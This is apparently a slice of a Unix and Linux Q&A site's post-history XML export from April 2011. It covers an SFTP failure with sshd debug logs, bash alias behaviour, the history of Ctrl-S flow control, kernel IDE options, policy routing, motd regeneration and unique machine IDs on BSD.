  debug1: session_close_by_channel: channel 0 child 0&#xD;&#xA;    debug1: session_close: session 0 pid 0&#xD;&#xA;    debug2: channel 0: gc: user detached&#xD;&#xA;    debug2: channel 0: is dead&#xD;&#xA;    debug2: channel 0: garbage collecting&#xD;&#xA;    debug1: channel 0: free: server-session, nchannels 2&#xD;&#xA;    Connection closed by 1.2.3.4&#xD;&#xA;    debug1: channel 1: free: auth socket, nchannels 1&#xD;&#xA;    debug1: do_cleanup&#xD;&#xA;    debug1: temporarily_use_uid: 222/500 (e=222/500)&#xD;&#xA;    debug1: restore_uid: (unprivileged)&#xD;&#xA;    Transferred: sent 2472, received 2224 bytes&#xD;&#xA;    Closing connection to 1.2.3.4 port 42647&#xD;&#xA;    debug1: PAM: cleanup&#xD;&#xA;    debug1: PAM: closing session&#xD;&#xA;    debug1: PAM: deleting credentials&#xD;&#xA;&#xD;&#xA;" />
  <row Id="29675" PostHistoryTypeId="5" PostId="12130" RevisionGUID="c57abe04-5161-4696-9759-91133a960b3f" CreationDate="2011-04-27T20:24:09.707" UserId="6024" Comment="added 180 characters in body" Text="I can ssh to my EC2 instance (amazon linux) (same user, from same machine, same certificate) however I can no longer use sftp.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Logging in via WinScp (via my windows7 box) for SFTP used to work, but now it gives me &quot;exit code 128, is sftp running&quot; , the error log just shows me 'subsystem request for sftp'&#xD;&#xA;&#xD;&#xA;How can I get it to work?&#xD;&#xA;&#xD;&#xA;debugging delivers this:&#xD;&#xA;&#xD;&#xA;        debug1: session_open: channel 0&#xD;&#xA;    debug1: session_open: session 0: link with channel 0&#xD;&#xA;    debug1: server_input_channel_open: confirm session&#xD;&#xA;    debug1: server_input_channel_req: channel 0 request simple@putty.projects.tartarus.org reply 0&#xD;&#xA;    debug1: session_by_channel: session 0 channel 0&#xD;&#xA;    debug1: session_input_channel_req: session 0 req simple@putty.projects.tartarus.org&#xD;&#xA;    debug1: server_input_channel_req: channel 0 request auth-agent-req@openssh.com reply 1&#xD;&#xA;    debug1: session_by_channel: session 0 channel 0&#xD;&#xA;    debug1: session_input_channel_req: session 0 req auth-agent-req@openssh.com&#xD;&#xA;    debug1: temporarily_use_uid: 222/500 (e=222/500)&#xD;&#xA;    debug1: restore_uid: (unprivileged)&#xD;&#xA;    debug2: fd 8 setting O_NONBLOCK&#xD;&#xA;    debug1: channel 1: new [auth socket]&#xD;&#xA;    debug1: server_input_channel_req: channel 0 request subsystem reply 1&#xD;&#xA;    debug1: session_by_channel: session 0 channel 0&#xD;&#xA;    debug1: session_input_channel_req: session 0 req subsystem&#xD;&#xA;    subsystem request for sftp&#xD;&#xA;    debug1: subsystem: exec() /usr/libexec/openssh/sftp-server&#xD;&#xA;    debug2: fd 5 setting TCP_NODELAY&#xD;&#xA;    debug2: fd 11 setting O_NONBLOCK&#xD;&#xA;    debug2: fd 10 setting O_NONBLOCK&#xD;&#xA;    debug1: Received SIGCHLD.&#xD;&#xA;    debug1: session_by_pid: pid 10940&#xD;&#xA;    debug1: session_exit_message: session 0 channel 0 pid 10940&#xD;&#xA;    debug2: channel 0: request exit-signal confirm 0&#xD;&#xA;    debug1: session_exit_message: release channel 0&#xD;&#xA;    debug2: channel 0: write failed&#xD;&#xA;    debug2: channel 0: close_write&#xD;&#xA;    debug2: channel 0: send eow&#xD;&#xA;    debug2: channel 0: output open -&gt; closed&#xD;&#xA;    debug2: channel 0: read&lt;=0 rfd 11 len 0&#xD;&#xA;    debug2: channel 0: read failed&#xD;&#xA;    debug2: channel 0: close_read&#xD;&#xA;    debug2: channel 0: input open -&gt; drain&#xD;&#xA;    debug2: channel 0: ibuf empty&#xD;&#xA;    debug2: channel 0: send eof&#xD;&#xA;    debug2: channel 0: input drain -&gt; closed&#xD;&#xA;    debug2: channel 0: send close&#xD;&#xA;    debug2: notify_done: reading&#xD;&#xA;    debug2: channel 0: rcvd close&#xD;&#xA;    debug2: channel 0: is dead&#xD;&#xA;    debug2: channel 0: gc: notify user&#xD;&#xA;    debug1: session_by_channel: session 0 channel 0&#xD;&#xA;    debug1: session_close_by_channel: channel 0 child 0&#xD;&#xA;    debug1: session_close: session 0 pid 0&#xD;&#xA;    debug2: channel 0: gc: user detached&#xD;&#xA;    debug2: channel 0: is dead&#xD;&#xA;    debug2: channel 0: garbage collecting&#xD;&#xA;    debug1: channel 0: free: server-session, nchannels 2&#xD;&#xA;    Connection closed by 1.2.3.4&#xD;&#xA;    debug1: channel 1: free: auth socket, nchannels 1&#xD;&#xA;    debug1: do_cleanup&#xD;&#xA;    debug1: temporarily_use_uid: 222/500 (e=222/500)&#xD;&#xA;    debug1: restore_uid: (unprivileged)&#xD;&#xA;    Transferred: sent 2472, received 2224 bytes&#xD;&#xA;    Closing connection to 1.2.3.4 port 42647&#xD;&#xA;    debug1: PAM: cleanup&#xD;&#xA;    debug1: PAM: closing session&#xD;&#xA;    debug1: PAM: deleting credentials&#xD;&#xA;&#xD;&#xA;update: problem was I edited my .bashrc which outputted something to stdout. Since sftp starts up a new shell for the user and does not like that.... it fails with a exit code 128." />
  <row Id="29676" PostHistoryTypeId="2" PostId="12144" RevisionGUID="4940d40f-9cc5-44e5-9b5a-e33cb47942cb" CreationDate="2011-04-27T20:27:00.737" UserId="5770" Text="I don't have many aliases set up in my .bash_aliases file just yet. Only recently have I discovered how useful they can be.&#xD;&#xA;&#xD;&#xA;I can see myself getting quite hooked on aliases so before the file gets too unwieldy I'd like to clarify something by asking a very simple question. Does one alias affect another, or does the alias always revert back to the original command?&#xD;&#xA;&#xD;&#xA;An example may make this more clear:&#xD;&#xA;&#xD;&#xA;I have `ls` aliased to `ls -lF`. Let's say I'd like to also alias `d` to `ls -l | grep -E &quot;^d&quot;`: does `d` now use `ls -lF` in place of `ls`? If so, is it a matter of order in the .bash_aliases configuration file?&#xD;&#xA;&#xD;&#xA;`man alias` didn't enlighten me." />
  <row Id="29677" PostHistoryTypeId="1" PostId="12144" RevisionGUID="4940d40f-9cc5-44e5-9b5a-e33cb47942cb" CreationDate="2011-04-27T20:27:00.737" UserId="5770" Text="Does one alias affect another alias?" />
  <row Id="29678" PostHistoryTypeId="3" PostId="12144" RevisionGUID="4940d40f-9cc5-44e5-9b5a-e33cb47942cb" CreationDate="2011-04-27T20:27:00.737" UserId="5770" Text="ébashàéaliasà" />
  <row Id="29679" PostHistoryTypeId="2" PostId="12145" RevisionGUID="8572f4df-d2a8-4d4a-aec4-a07f40a7169a" CreationDate="2011-04-27T20:32:27.707" UserId="2421" Text="From [Aliases (section 6.6 of the Bash Manual)][1]:&#xD;&#xA;&#xD;&#xA;&gt; The first word of each simple command, if unquoted, is checked to see if it has an alias. If so, that word is replaced by the text of the alias.&#xD;&#xA;&#xD;&#xA;This happens when you _use_ the alias, not when you define it.  Here's an example:&#xD;&#xA;&#xD;&#xA;    $ alias a1='a2 hello'&#xD;&#xA;    $ alias a2='echo'&#xD;&#xA;    $ a1&#xD;&#xA;    hello&#xD;&#xA;    $ unalias a2&#xD;&#xA;    $ a1&#xD;&#xA;    bash: a2: command not found&#xD;&#xA;&#xD;&#xA;  [1]: http://www.gnu.org/software/bash/manual/html_node/Aliases.html&#xD;&#xA;" />
  <row Id="29680" PostHistoryTypeId="25" PostId="12144" RevisionGUID="e7f6b087-144a-440d-8aa1-5d51c7fee17e" CreationDate="2011-04-27T21:09:16.087" Comment="http://twitter.com/#!/StackUnix/status/63349011654000640" />
  <row Id="29681" PostHistoryTypeId="2" PostId="12146" RevisionGUID="052c8e27-07de-4b6c-9e1b-1242ee0aa3f4" CreationDate="2011-04-27T21:30:33.103" UserId="5835" Text="&lt;kbd&gt;Ctrl&lt;/kbd&gt;-&lt;kbd&gt;Q&lt;/kbd&gt; is indeed the answer. I thought I'd toss in a little history of this that is tool long to fit in the margins of [ak2's correct answer](http://unix.stackexchange.com/questions/12107/how-to-unfreeze-after-accidentally-pressing-ctrl-s-in-a-terminal/12108#12108).&#xD;&#xA;&#xD;&#xA;Back in the dark ages, a terminal was a large piece of equipment that connected to a remote device (originally another terminal because teletypes were so much easier to learn to operate than a telegraph key) over a long wire or via phone lines with modems. By the time Unix was developing, the ASCII code was already well established (although the competing EBCDIC code from IBM was was still a force to be reckoned with).&#xD;&#xA;&#xD;&#xA;The earliest terminals kept a printed record of every character received. As long as the character arrived no faster than the print head could type them, at least. But as soon as CRT based terminals were possible, the problem arose that only about 25 lines fit on the CRT, and 25 lines of 80 characters represented enough RAM that no one thought seriously about providing more RAM for characters that had scrolled off the top of the screen.&#xD;&#xA;&#xD;&#xA;So some convention was needed to signal that the sending end should pause to let the reader catch up.&#xD;&#xA;&#xD;&#xA;The 7-bit ASCII code has 33 code points devoted to control characters (0 to 31 and 127). Some of those had really well established purposes, such as `NUL` (blank paper tape leader for threading, gaps, and splices), `DEL` (&quot;crossed out&quot; characters on paper tape indicated by punching all seven holes), `BEL` (ding!), `CR`, `LF`, and `TAB`. But four were defined explicitly for controlling the terminal device itself (`DC1` to `DC4` aka Ctrl+Q, Ctrl+R, Ctrl+S and Ctrl+T).&#xD;&#xA;&#xD;&#xA;My best guess is that some engineer though that as mnemonics go, &quot;S&quot; for &quot;Stop&quot; and &quot;Q&quot; for &quot;Continue&quot; weren't too bad, and assigned `DC3` to mean &quot;please stop sending&quot; and `DC1` to mean &quot;ok, continue sending now&quot;.&#xD;&#xA;&#xD;&#xA;Even that convention was already well established by the time Unix was leaving nest at Bell Labs to go out into the world.&#xD;&#xA;&#xD;&#xA;The convention is known as software flow control, and is extremely common in real serial devices. It is not easy to implement correctly, as it prevents the use of either of those characters for any other purpose in the communications channel, and the Stop signal has to be handled ahead of any pending received characters to avoid sending more than the receiving end can handle.&#xD;&#xA;&#xD;&#xA;If practical, using additional signals out of band from the serial data stream for flow control is vastly preferred. On directly wired connections that can afford the additional signal wires, you will find hardware handshake in use, which frees up those characters for other uses.&#xD;&#xA;&#xD;&#xA;Of course, today's terminal window is not using an actual physical serial port, has scroll bars, and doesn't really need software handshaking at all. But the convention persists.&#xD;&#xA;&#xD;&#xA;I recall the claim that Richard Stallman received complaints about his mapping Ctrl+S to incremental-search in the first releases of emacs, and that he was rather unsympathetic to any user that had to depend on a 7-bit, software flow controlled connection." />
  <row Id="29682" PostHistoryTypeId="2" PostId="12147" RevisionGUID="097fff4d-4e01-4ed8-8706-4772224258de" CreationDate="2011-04-27T21:33:16.817" UserId="6851" Text="I recompiled the kernel making sure that neither of `CONFIG_SYSFS_DEPRECATED` nor `CONFIG_SYSFS_DEPRECATED_V2` were set.&#xD;&#xA;&#xD;&#xA;However, after a few retries with `CONFIG_IDE` not set (and a kernel which failed to find any harddrives), it turned out I had to `CONFIG_IDE` *set* as well as some more kernel config options found 'under' the deprecated ATA/ATAPI support.  Again, I had a sneak peak at that other server (which have properly working /dev/hda detection) and added the missing ATA/ATAPI related kernel options.  *Which* options I actually added I did not note, but here is the list of all the options activated underATA/ATAPI:&#xD;&#xA;`CONFIG_IDE_GD  &#xD;&#xA;CONFIG_IDE_GD_ATA  &#xD;&#xA;CONFIG_IDE_PROC_FS  &#xD;&#xA;CONFIG_IDE_GENERIC  &#xD;&#xA;CONFIG_IDE_PCIBUS_ORDER  &#xD;&#xA;CONFIG_BLK_DEV_GENERIC  &#xD;&#xA;CONFIG_BLK_DEV_PIIX`&#xD;&#xA;&#xD;&#xA;I also disabled the support for serial ATA and paralell ATA.&#xD;&#xA;&#xD;&#xA;So *now* I have a kernel which boots up and successfully finds my `/dev/hda3` device.&#xD;&#xA;&#xD;&#xA;I do know this is a bad practice, to rely on the deprecated ATA/ATAPI kernel support and *not* use the more modern SATA/PATA kernel support.  Eventually I have to migrate to SATA/PATA instead.   But for now, I'm happy (and a bit more knowledgeable about my Linux system).&#xD;&#xA;&#xD;&#xA;(And my apologies if I post a question and then answers it and picks my own answer for being the accepted one.  Hopefully this answer/question still is a useful contribution to U&amp;L)" />
  <row Id="29683" PostHistoryTypeId="6" PostId="12107" RevisionGUID="b9cfb9cf-e198-4811-ac3b-2cdf1010b2b8" CreationDate="2011-04-27T21:49:59.480" UserId="885" Comment="edited tags" Text="éterminalàékeyboardàéreadlineàéscrollingàéfreezeà" />
  <row Id="29684" PostHistoryTypeId="6" PostId="12120" RevisionGUID="9634ef01-0717-4227-88cd-c2b76e76933e" CreationDate="2011-04-27T21:50:13.863" UserId="885" Comment="edited tags" Text="élinuxàéfreezeà" />
  <row Id="29685" PostHistoryTypeId="2" PostId="12148" RevisionGUID="9fe329e3-4ebb-4708-8850-bacd3693b52e" CreationDate="2011-04-27T21:53:32.040" UserId="6167" Text="The proper way to to this is to bind() to the interface you want to use for outgoing packets.    Since  You can then set up routes with the `ip route` and `ip rule` commands to control how packets are routed based on their outgoing interface.  For my example, I will assume the following network:&#xD;&#xA;&#xD;&#xA;* eth0:&#xD;&#xA; *  Address: 192.168.0.2/24&#xD;&#xA; * Default Gateway: 192.168.0.1&#xD;&#xA;* eth1:&#xD;&#xA; * Address: 192.168.1.2/24&#xD;&#xA; * Default Gateway: 192.168.1.1&#xD;&#xA;&#xD;&#xA;I will create two routing tables, one for traffic outgoing for eth0 called alternate and one table for eth1 called main.  Routing table main always exists and is the normal table that is used by the `route` and `ip route` commands.  Most people never deal with any other tables.  To create the table called alternate, we will add the following line to `/etc/iproute2/rt_tables`:&#xD;&#xA;&#xD;&#xA;    10    alternate&#xD;&#xA;&#xD;&#xA;The table main has a default priority of 254.  The rules for which routing table is in effect is controlled by the `ip rule` command.  By default, that command will print out a list of existing rules which should look something like this:&#xD;&#xA;&#xD;&#xA;    0:	    from all lookup local &#xD;&#xA;    32766:	from all lookup main &#xD;&#xA;    32767:	from all lookup default &#xD;&#xA;&#xD;&#xA;This basically says it will look for a route in the table `local` which is a special table maintained by the kernel for local routes such as my own IP address.  It will then try table main and table default.  Table default is normally blank so if there's no match in main, there's no route to host.  First, lets fill table alternate with rules for eth0.&#xD;&#xA;&#xD;&#xA;    sudo ip route add table alternate 192.168.0.0/24 dev eth0&#xD;&#xA;    sudo ip route add table alternate 192.168.1.0/24 dev eth1&#xD;&#xA;    sudo ip route add table alternate default via 192.168.0.1&#xD;&#xA;&#xD;&#xA;You will normally want the `alternate` table to look similar to the `main` table.  The only differences are when routing should be different.  You may want not want to include the second line above if you literally want all NFS, HTTP, etc. traffic to go via the default gateway on eth0 even if it's destined for the network on eth1.  Next step is to add a rule for when to use this alternate routing table:&#xD;&#xA;&#xD;&#xA;    sudo ip rule add from 192.168.0.0/24 pref 10 table alternate&#xD;&#xA;&#xD;&#xA;This rule says any traffic coming from an address on the 192.168.0 network will use the `alternate` routing table instead of the normal `main` table.  The last step is to make sure all clients that must use `eth0` bind to it.  With `wget`, for example, set `--bind-address=192.168.0.2`, for NFS set the `clientaddr=192.168.0.2` mount option.  If using LibWWW with Perl, you can set the localaddr option in LWP::UserAgent to control the local interface it binds to.  If you happen to have a client you can't control the binding and compiling source is not an option, you might be able to use an iptables rule to modify it's address, but this is more of a hack and may not work.  You would need a SNAT rule set up in the PREROUTING chain of either the nat table or the mangle table.  You will still need the modified routing tables given above for this to work." />
  <row Id="29686" PostHistoryTypeId="2" PostId="12149" RevisionGUID="d4e001bb-ff6e-4ab0-bb56-a02085d69371" CreationDate="2011-04-27T21:54:15.657" UserId="6955" Text="My /etc/motd file is showing duplicate messages. When I edit it manual, it keeps returning to the messed up version whenever a user logs in.&#xD;&#xA;How do I stop this? I'm using Ubuntu 10.04" />
  <row Id="29687" PostHistoryTypeId="1" PostId="12149" RevisionGUID="d4e001bb-ff6e-4ab0-bb56-a02085d69371" CreationDate="2011-04-27T21:54:15.657" UserId="6955" Text="Motd not changing" />
  <row Id="29688" PostHistoryTypeId="3" PostId="12149" RevisionGUID="d4e001bb-ff6e-4ab0-bb56-a02085d69371" CreationDate="2011-04-27T21:54:15.657" UserId="6955" Text="éubuntuàémotdà" />
  <row Id="29689" PostHistoryTypeId="2" PostId="12150" RevisionGUID="f8885854-dc51-43b5-96b7-3bf5be03cf09" CreationDate="2011-04-27T22:30:32.007" UserId="5535" Text="The MOTD is generated by a script. To prevent the default MOTD from reverting, remove the execute bit from the `/etc/update-motd.d/00-header` file and put your desired MOTD text into `/etc/motd.tail`. Or, to keep the default MOTD text and just append your own text to it, leave the `00-header` file alone and add your text to the `motd.tail` file." />
  <row Id="29690" PostHistoryTypeId="2" PostId="12151" RevisionGUID="56999ad8-af96-481e-afe4-36674fef9531" CreationDate="2011-04-27T22:34:24.653" UserId="885" Text="By default, in recent releases of Debian and Ubuntu (including yours), `/etc/motd` is a symbolic link to `/var/run/motd`, which is regenerated at each login by the [`update-motd`](http://manpages.ubuntu.com/manpages/lucid/man5/update-motd.5.html) framework.&#xD;&#xA;&#xD;&#xA;If you want a static `/etc/motd` remove a symbolic link and create a regular file in its place. Or you can edit the [`pam_motd`](http://www.kernel.org/pub/linux/libs/pam/Linux-PAM-html/sag-pam_motd.html) calls in `/etc/pam.d/*` and pass `motd=/etc/motd.dougk`.&#xD;&#xA;&#xD;&#xA;The underlying issue is probably due to some breakage in `/etc/update-motd.d/*`, possibly a backup file duplicating the effect of the corresponding main file.&#xD;&#xA;" />
  <row Id="29691" PostHistoryTypeId="2" PostId="12152" RevisionGUID="a11c8403-63be-4c39-8e30-05f2ad592fbb" CreationDate="2011-04-27T23:22:33.820" UserId="3169" Text="On an OpenBSD system, `sysctl` gives you some ids:&#xD;&#xA;&#xD;&#xA;    $ sysctl -a | grep id=&#xD;&#xA;    kern.hostid=???&#xD;&#xA;    hw.uuid=????????-????-????-????-????????????&#xD;&#xA;    machdep.cpuid=??????&#xD;&#xA;&#xD;&#xA;These are also available using the C `sysctl` call.&#xD;&#xA;&#xD;&#xA;Of those, `hw.uuid` looks most promising.&#xD;&#xA;&#xD;&#xA;Some systems also support `hostid`, but that has some problems.&#xD;&#xA;&#xD;&#xA;http://stackoverflow.com/questions/328936/getting-a-unique-id-from-a-unix-like-system" />
  <row Id="29692" PostHistoryTypeId="5" PostId="12152" RevisionGUID="e98d4773-701c-4f57-af90-6d17aacb5ea9" CreationDate="2011-04-27T23:30:24.423" UserId="3169" Comment="added 245 characters in body" Text="On an OpenBSD system, `sysctl` gives you some ids:&#xD;&#xA;&#xD;&#xA;    $ sysctl -a | grep id=&#xD;&#xA;    kern.hostid=???&#xD;&#xA;    hw.uuid=????????-????-????-????-????????????&#xD;&#xA;    machdep.cpuid=??????&#xD;&#xA;&#xD;&#xA;These are also available using the C `sysctl` call.&#xD;&#xA;&#xD;&#xA;Of those, `hw.uuid` looks most promising.&#xD;&#xA;&#xD;&#xA;The [FreeBSD sysctl man page](http://www.freebsd.org/cgi/man.cgi?query=sysctl&amp;apropos=0&amp;sektion=0&amp;manpath=FreeBSD+8.2-RELEASE&amp;format=html) suggests that `kern.hostid` is the only one of those available on FreeBSD.&#xD;&#xA;&#xD;&#xA;Note that `hostid` is changeable.&#xD;&#xA;&#xD;&#xA;See also: [Getting a unique id from a Unix-like system](http://stackoverflow.com/questions/328936/getting-a-unique-id-from-a-unix-like-system)." />
  <row Id="29696" PostHistoryTypeId="2" PostId="12154" RevisionGUID="475aebff-c10b-4074-b152-c614548ee159" CreationDate="2011-04-27T23:46:51.343" UserId="4485" Text="The important message is: 'failed to create /var/lib/alternatives/java.new: Permission denied'&#xD;&#xA;&#xD;&#xA;     sudo update-alternatives --config java&#xD;&#xA;&#xD;&#xA;so you need **sudo**, as Gilles suggested, without emphasis, and with a confusing statement about working around the alternatives-system. &#xD;&#xA;" />
  <row Id="29697" PostHistoryTypeId="5" PostId="12152" RevisionGUID="90bea5ec-0d04-40e0-ad39-a53f5b0d0c3b" CreationDate="2011-04-27T23:48:36.273" UserId="3169" Comment="added 129 characters in body" Text="On an OpenBSD system, `sysctl` gives you some ids:&#xD;&#xA;&#xD;&#xA;    $ sysctl -a | grep id=&#xD;&#xA;    kern.hostid=???&#xD;&#xA;    hw.uuid=????????-????-????-????-????????????&#xD;&#xA;    machdep.cpuid=??????&#xD;&#xA;&#xD;&#xA;These are also available using the C `sysctl` call.&#xD;&#xA;&#xD;&#xA;Of those, `hw.uuid` looks most promising.&#xD;&#xA;&#xD;&#xA;The [FreeBSD sysctl man page](http://www.freebsd.org/cgi/man.cgi?query=sysctl&amp;apropos=0&amp;sektion=0&amp;manpath=FreeBSD+8.2-RELEASE&amp;format=html) suggests that `kern.hostid` is the only one of those available on FreeBSD.&#xD;&#xA;&#xD;&#xA;Note that `hostid` is changeable.&#xD;&#xA;&#xD;&#xA;You could also look at [`libvolume_id`](http://www.freshports.org/devel/libvolume_id/) to get the id of the root file system.&#xD;&#xA;&#xD;&#xA;See also: [Getting a unique id from a Unix-like system](http://stackoverflow.com/questions/328936/getting-a-unique-id-from-a-unix-like-system)." />
  <row Id="29700" PostHistoryTypeId="5" PostId="12152" RevisionGUID="46784f88-09f9-4ded-b68a-09266c468014" CreationDate="2011-04-27T23:57:06.563" UserId="3169" Comment="added 417 characters in body; added 39 characters in body" Text="The original way to do this was using [`hostid`](http://www.freebsd.org/cgi/man.cgi?query=gethostid).&#xD;&#xA;&#xD;&#xA;The man page notes that:&#xD;&#xA;&#xD;&#xA;&gt; This is normally a DARPA Internet address for the local machine.&#xD;&#xA;&#xD;&#xA;meaning it won't change just because somebody had to replace a broken network card, but it's not guaranteed to be unique, for example if networking isn't configured.&#xD;&#xA;&#xD;&#xA;In fact, it might not even be set, and can be changed by the superuser using `sethostid` or `sysctl`.&#xD;&#xA;&#xD;&#xA;On OpenBSD at least, `sysctl` gives you some other ids:&#xD;&#xA;&#xD;&#xA;    $ sysctl -a | grep id=&#xD;&#xA;    hw.uuid=????????-????-????-????-????????????&#xD;&#xA;    machdep.cpuid=??????&#xD;&#xA;&#xD;&#xA;These are also available using [`sysctl`](http://www.freebsd.org/cgi/man.cgi?query=sysctl&amp;apropos=0&amp;sektion=3&amp;manpath=OpenBSD+4.7&amp;format=html).&#xD;&#xA;&#xD;&#xA;Of those, `hw.uuid` looks most promising, but apparently [it's not available on FreeBSD](http://www.freebsd.org/cgi/man.cgi?query=sysctl&amp;apropos=0&amp;sektion=0&amp;manpath=FreeBSD+8.2-RELEASE&amp;format=html).&#xD;&#xA;&#xD;&#xA;You could also look at [`libvolume_id`](http://www.freshports.org/devel/libvolume_id/) to get the id of the root file system.&#xD;&#xA;&#xD;&#xA;See also: [Getting a unique id from a Unix-like system](http://stackoverflow.com/questions/328936/getting-a-unique-id-from-a-unix-like-system)." />
  <row Id="29701" PostHistoryTypeId="5" PostId="12152" RevisionGUID="1f6ba32e-5812-472f-9977-72fff1ba2d5c" CreationDate="2011-04-28T00:02:29.340" UserId="3169" Comment="added 230 characters in body" Text="The original way to do this was using [`hostid`](http://www.freebsd.org/cgi/man.cgi?query=gethostid).&#xD;&#xA;&#xD;&#xA;The man page notes that:&#xD;&#xA;&#xD;&#xA;&gt; This is normally a DARPA Internet address for the local machine.&#xD;&#xA;&#xD;&#xA;meaning it won't change just because somebody had to replace a broken network card, but it's not guaranteed to be unique, for example if networking isn't configured.&#xD;&#xA;&#xD;&#xA;In fact, it might not even be set, and can be changed by the superuser using `sethostid` or `sysctl`.&#xD;&#xA;&#xD;&#xA;On OpenBSD, `sysctl` gives you some other ids:&#xD;&#xA;&#xD;&#xA;    $ sysctl -a | grep id=&#xD;&#xA;    hw.uuid=????????-????-????-????-????????????&#xD;&#xA;    machdep.cpuid=??????&#xD;&#xA;&#xD;&#xA;These are also available using the [`sysctl`](http://www.freebsd.org/cgi/man.cgi?query=sysctl&amp;apropos=0&amp;sektion=3&amp;manpath=OpenBSD+4.7&amp;format=html) C API.&#xD;&#xA;&#xD;&#xA;Of those, `hw.uuid` looks most promising, but apparently [it's not available on FreeBSD](http://www.freebsd.org/cgi/man.cgi?query=sysctl&amp;apropos=0&amp;sektion=0&amp;manpath=FreeBSD+8.2-RELEASE&amp;format=html).&#xD;&#xA;&#xD;&#xA;You could also look at [`libvolume_id`](http://www.freshports.org/devel/libvolume_id/) or [`libblkid`](http://www.freshports.org/misc/e2fsprogs-libblkid/) to get the id of the root file system.  As they are ports, obviously neither of those are part of the base system, but one or the other might get installed as part of a standard desktop installation.&#xD;&#xA;&#xD;&#xA;See also: [Getting a unique id from a Unix-like system](http://stackoverflow.com/questions/328936/getting-a-unique-id-from-a-unix-like-system)." />
  <row Id="29702" PostHistoryTypeId="5" PostId="11882" RevisionGUID="b14a0edc-658e-4650-a185-1dea71d96b79" CreationDate="2011-04-28T00:07:12.457" UserId="5770" Comment="bit more info and details of a workaround" Text="If a directory contains an album encoded as one large .wv file and a .cue file, splitting the entire album into individual .flac tracks is a simple task:&#xD;&#xA;&#xD;&#xA;`$ cuebreakpoints foo.cue | shnsplit -o flac foo.wv`&#xD;&#xA;&#xD;&#xA;What I'd like to know is how to split a file where the names don't match up, e.g.: 'foobar.wv' and 'foo.cue'. If I attempt this I get this error message:&#xD;&#xA;&#xD;&#xA;    shnsplit: warning: none of the builtin format modules handle input file: [foobar.wv]&#xD;&#xA;    shnsplit: error: cannot continue due to error(s) shown above&#xD;&#xA;&#xD;&#xA;Do I need to alter the .cue file? Because simply renaming 'foobar.wv' to 'foo.wv' prior to splitting doesn't seem to work for me. Or is there something wrong with the `wavpack` package?&#xD;&#xA;&#xD;&#xA;PS: I didn't know how to tag this question properly. Sorry 'bout that.&#xD;&#xA;&#xD;&#xA;**Some more info**&#xD;&#xA;&#xD;&#xA;To be clear, I should point out that the text inside the .cue files points to the appropriate .wv files.&#xD;&#xA;&#xD;&#xA;**Yet more info**&#xD;&#xA;&#xD;&#xA;I'm having a bit of luck, for whatever reason, by decompressing the .wv to .wav and then altering the .cue file accordingly.&#xD;&#xA;&#xD;&#xA;Not ideal but it's working so far." />
  <row Id="29703" PostHistoryTypeId="5" PostId="12152" RevisionGUID="9e6cf2d2-b3ad-4163-866d-ddc13edd03ac" CreationDate="2011-04-28T00:08:08.603" UserId="3169" Comment="added 674 characters in body" Text="The original way to do this was using [`hostid`](http://www.freebsd.org/cgi/man.cgi?query=gethostid).&#xD;&#xA;&#xD;&#xA;The man page notes that:&#xD;&#xA;&#xD;&#xA;&gt; This is normally a DARPA Internet address for the local machine.&#xD;&#xA;&#xD;&#xA;meaning it won't change just because somebody had to replace a broken network card, but it's not guaranteed to be unique, for example if networking isn't configured.&#xD;&#xA;&#xD;&#xA;In fact, it might not even be set, and can be changed by the superuser using `sethostid` or `sysctl`.&#xD;&#xA;&#xD;&#xA;On OpenBSD, `sysctl` gives you some other ids:&#xD;&#xA;&#xD;&#xA;    $ sysctl -a | grep id=&#xD;&#xA;    hw.uuid=????????-????-????-????-????????????&#xD;&#xA;    machdep.cpuid=??????&#xD;&#xA;&#xD;&#xA;These are also available using the [`sysctl`](http://www.freebsd.org/cgi/man.cgi?query=sysctl&amp;apropos=0&amp;sektion=3&amp;manpath=OpenBSD+4.7&amp;format=html) C API.&#xD;&#xA;&#xD;&#xA;Of those, `hw.uuid` looks most promising, but apparently [it's not available on FreeBSD](http://www.freebsd.org/cgi/man.cgi?query=sysctl&amp;apropos=0&amp;sektion=0&amp;manpath=FreeBSD+8.2-RELEASE&amp;format=html).&#xD;&#xA;&#xD;&#xA;Another option would be [`pciconf`](http://www.freebsd.org/cgi/man.cgi?query=pciconf&amp;sektion=8&amp;apropos=0&amp;manpath=FreeBSD+8.2-RELEASE), [`pcidump`](http://www.freebsd.org/cgi/man.cgi?query=pcidump&amp;apropos=0&amp;sektion=8&amp;manpath=OpenBSD+4.7&amp;format=html), or get the information yourself using [`ioctl`](http://www.freebsd.org/cgi/man.cgi?query=ioctl&amp;sektion=2&amp;apropos=0&amp;manpath=FreeBSD+8.2-RELEASE) on the device driver, e.g. [`pci`](http://www.freebsd.org/cgi/man.cgi?query=pci&amp;apropos=0&amp;sektion=4&amp;manpath=FreeBSD+8.2-RELEASE&amp;format=html).  [Full list of drivers](http://www.freebsd.org/cgi/man.cgi?query=(4)&amp;sektion=&amp;apropos=1&amp;manpath=FreeBSD+8.2-RELEASE&amp;title=Section%20).&#xD;&#xA;&#xD;&#xA;You could also look at [`libvolume_id`](http://www.freshports.org/devel/libvolume_id/) or [`libblkid`](http://www.freshports.org/misc/e2fsprogs-libblkid/) to get the id of the root file system.  As they are ports, obviously neither of those are part of the base system, but one or the other might get installed as part of a standard desktop installation.&#xD;&#xA;&#xD;&#xA;See also: [Getting a unique id from a Unix-like system](http://stackoverflow.com/questions/328936/getting-a-unique-id-from-a-unix-like-system)." />
  <row Id="29704" PostHistoryTypeId="25" PostId="12149" RevisionGUID="568e7807-7f06-485a-8e2c-3266d13af4dd" CreationDate="2011-04-28T00:09:17.110" Comment="http://twitter.com/#!/StackUnix/status/63394314985799680" />
  <row Id="29705" PostHistoryTypeId="2" PostId="12155" RevisionGUID="0bdf453c-b0fb-44c7-8027-9e8783be1fce" CreationDate="2011-04-28T00:18:44.710" UserId="3619" Text="On the topic of encryption, if you're using vi or vim to edit your code, you could use vim's built-in encryption: `vim -x myfile.c` for new files.&#xD;&#xA;&#xD;&#xA;Before vim 7.3 it is pretty easily breakable, but it will stop casual browsing at least." />
